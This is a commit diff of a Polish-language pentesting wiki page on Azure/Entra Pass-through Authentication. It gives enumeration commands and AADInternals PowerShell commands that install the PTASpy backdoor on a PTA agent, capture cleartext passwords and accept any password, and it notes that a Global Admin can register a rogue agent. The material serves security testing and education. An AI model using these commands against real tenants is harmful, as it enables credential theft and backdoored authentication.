mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
+52
-20
@@ -4,38 +4,72 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication pozwala użytkownikom na **logowanie się zarówno do aplikacji lokalnych, jak i opartych na chmurze, używając tych samych haseł**. Ta funkcja zapewnia lepsze doświadczenie użytkowników - jedno mniej hasło do zapamiętania, a także zmniejsza koszty pomocy technicznej IT, ponieważ użytkownicy rzadziej zapominają, jak się zalogować. Gdy użytkownicy logują się za pomocą Azure AD, ta funkcja **waliduje hasła użytkowników bezpośrednio w lokalnym Active Directory**.
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication pozwala użytkownikom na **logowanie się zarówno do aplikacji lokalnych, jak i opartych na chmurze, używając tych samych haseł**. Ta funkcja zapewnia lepsze doświadczenie użytkowników - jedno mniej hasło do zapamiętania, a także zmniejsza koszty pomocy IT, ponieważ użytkownicy rzadziej zapominają, jak się zalogować. Gdy użytkownicy logują się za pomocą Microsoft Entra ID, ta funkcja weryfikuje hasła użytkowników bezpośrednio w lokalnym Active Directory.
|
||||
|
||||
W PTA **tożsamości** są **synchronizowane**, ale **hasła** **nie są** jak w PHS.
|
||||
W PTA **tożsamości** są **synchronizowane**, ale **hasła nie są** jak w PHS.
|
||||
|
||||
Autoryzacja jest walidowana w lokalnym AD, a komunikacja z chmurą odbywa się za pomocą **agenta autoryzacji** działającego na **lokalnym serwerze** (nie musi być na lokalnym DC).
|
||||
Uwierzytelnienie jest weryfikowane w lokalnym AD, a komunikacja z chmurą odbywa się za pomocą **agenta uwierzytelniającego** działającego na **lokalnym serwerze** (nie musi być na lokalnym DC).
|
||||
|
||||
### Przepływ autoryzacji
|
||||
### Przepływ uwierzytelnienia
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Aby **zalogować się**, użytkownik jest przekierowywany do **Azure AD**, gdzie wysyła **nazwę użytkownika** i **hasło**.
|
||||
2. **Dane uwierzytelniające** są **szyfrowane** i umieszczane w **kolejce** w Azure AD.
|
||||
3. **Lokalny agent autoryzacji** zbiera **dane uwierzytelniające** z kolejki i je **odszyfrowuje**. Ten agent nazywa się **"agentem autoryzacji przechodzącej"** lub **agentem PTA.**
|
||||
4. **Agent** **waliduje** dane uwierzytelniające w **lokalnym AD** i wysyła **odpowiedź** **z powrotem** do Azure AD, która, jeśli odpowiedź jest pozytywna, **kończy logowanie** użytkownika.
|
||||
2. **Dane uwierzytelniające** są **szyfrowane** i umieszczane w **kole** w Azure AD.
|
||||
3. **Lokalny agent uwierzytelniający** zbiera **dane uwierzytelniające** z kolejki i je **odszyfrowuje**. Ten agent nazywa się **"Pass-through authentication agent"** lub **agent PTA**.
|
||||
4. **Agent** **weryfikuje** dane uwierzytelniające w **lokalnym AD** i wysyła **odpowiedź** **z powrotem** do Azure AD, która, jeśli odpowiedź jest pozytywna, **kończy logowanie** użytkownika.
|
||||
|
||||
> [!WARNING]
|
||||
> Jeśli atakujący **skomprymuje** **PTA**, może **zobaczyć** wszystkie **dane uwierzytelniające** z kolejki (w **czystym tekście**).\
|
||||
> Może również **walidować dowolne dane uwierzytelniające** w AzureAD (podobny atak do klucza szkieletowego).
|
||||
> Może również **zweryfikować dowolne dane uwierzytelniające** w AzureAD (podobny atak do Skeleton key).
|
||||
|
||||
### On-Prem -> chmura
|
||||
### Enumeracja
|
||||
|
||||
Jeśli masz **dostęp administratora** do **serwera Azure AD Connect** z działającym **agentem PTA**, możesz użyć modułu **AADInternals**, aby **wstawić tylne drzwi**, które **zwalidują WSZYSTKIE hasła** wprowadzone (więc wszystkie hasła będą ważne do autoryzacji):
|
||||
Z Entra ID:
|
||||
```bash
|
||||
Install-AADIntPTASpy
|
||||
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
|
||||
# Example response:
|
||||
{
|
||||
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
|
||||
"value": [
|
||||
{
|
||||
"agents": [
|
||||
{
|
||||
"externalIp": "20.121.45.57",
|
||||
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
|
||||
"machineName": "ConnectSync.hacktricks-con.azure",
|
||||
"status": "active",
|
||||
"supportedPublishingTypes": [
|
||||
"authentication"
|
||||
]
|
||||
}
|
||||
],
|
||||
"displayName": "Default group for Pass-through Authentication",
|
||||
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
|
||||
"isDefault": true,
|
||||
"publishingType": "authentication"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Sprawdź, czy agent działa na serwerze lokalnym:
|
||||
```bash
|
||||
Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
Jeśli masz **admin** dostęp do **serwera Azure AD Connect** z działającym **agentem PTA**, możesz użyć modułu **AADInternals** do **wstawienia tylnej furtki**, która **zweryfikuje WSZYSTKIE hasła** wprowadzone (więc wszystkie hasła będą ważne do uwierzytelnienia):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
|
||||
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
|
||||
|
||||
Remove-AADIntPTASpy # Remove the backdoor
|
||||
```
|
||||
> [!NOTE]
|
||||
> Jeśli **instalacja nie powiedzie się**, prawdopodobnie jest to spowodowane brakującymi [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
> Jeśli **instalacja nie powiedzie się**, prawdopodobnie jest to spowodowane brakiem [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Możliwe jest również **zobaczenie haseł w postaci czystego tekstu wysyłanych do agenta PTA** za pomocą następującego cmdletu na maszynie, na której zainstalowano poprzednie tylne drzwi:
|
||||
```bash
|
||||
Get-AADIntPTASpyLog -DecodePasswords
|
||||
```
|
||||
Ten backdoor będzie:
|
||||
|
||||
- Tworzyć ukrytą folder `C:\PTASpy`
|
||||
@@ -45,10 +79,8 @@ Ten backdoor będzie:
|
||||
> [!NOTE]
|
||||
> Gdy usługa AzureADConnectAuthenticationAgent zostanie ponownie uruchomiona, PTASpy jest „odładowany” i musi być ponownie zainstalowany.
|
||||
|
||||
### Chmura -> On-Prem
|
||||
|
||||
> [!CAUTION]
|
||||
> Po uzyskaniu **uprawnień GA** w chmurze, możliwe jest **zarejestrowanie nowego agenta PTA** poprzez ustawienie go na **maszynie kontrolowanej przez atakującego**. Gdy agent jest **skonfigurowany**, możemy **powtórzyć** **poprzednie** kroki, aby **uwierzytelnić się przy użyciu dowolnego hasła** i również **uzyskać hasła w postaci czystego tekstu.**
|
||||
> Po uzyskaniu **uprawnień GA** w chmurze, możliwe jest **zarejestrowanie nowego agenta PTA** i można **powtórzyć** **poprzednie** kroki, aby **uwierzytelnić się przy użyciu dowolnego hasła** oraz **uzyskać hasła w postaci czystego tekstu.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
@@ -58,7 +90,7 @@ Możliwe jest użycie Seamless SSO z PTA, które jest podatne na inne nadużycia
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencje
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
Reference in New Issue
Block a user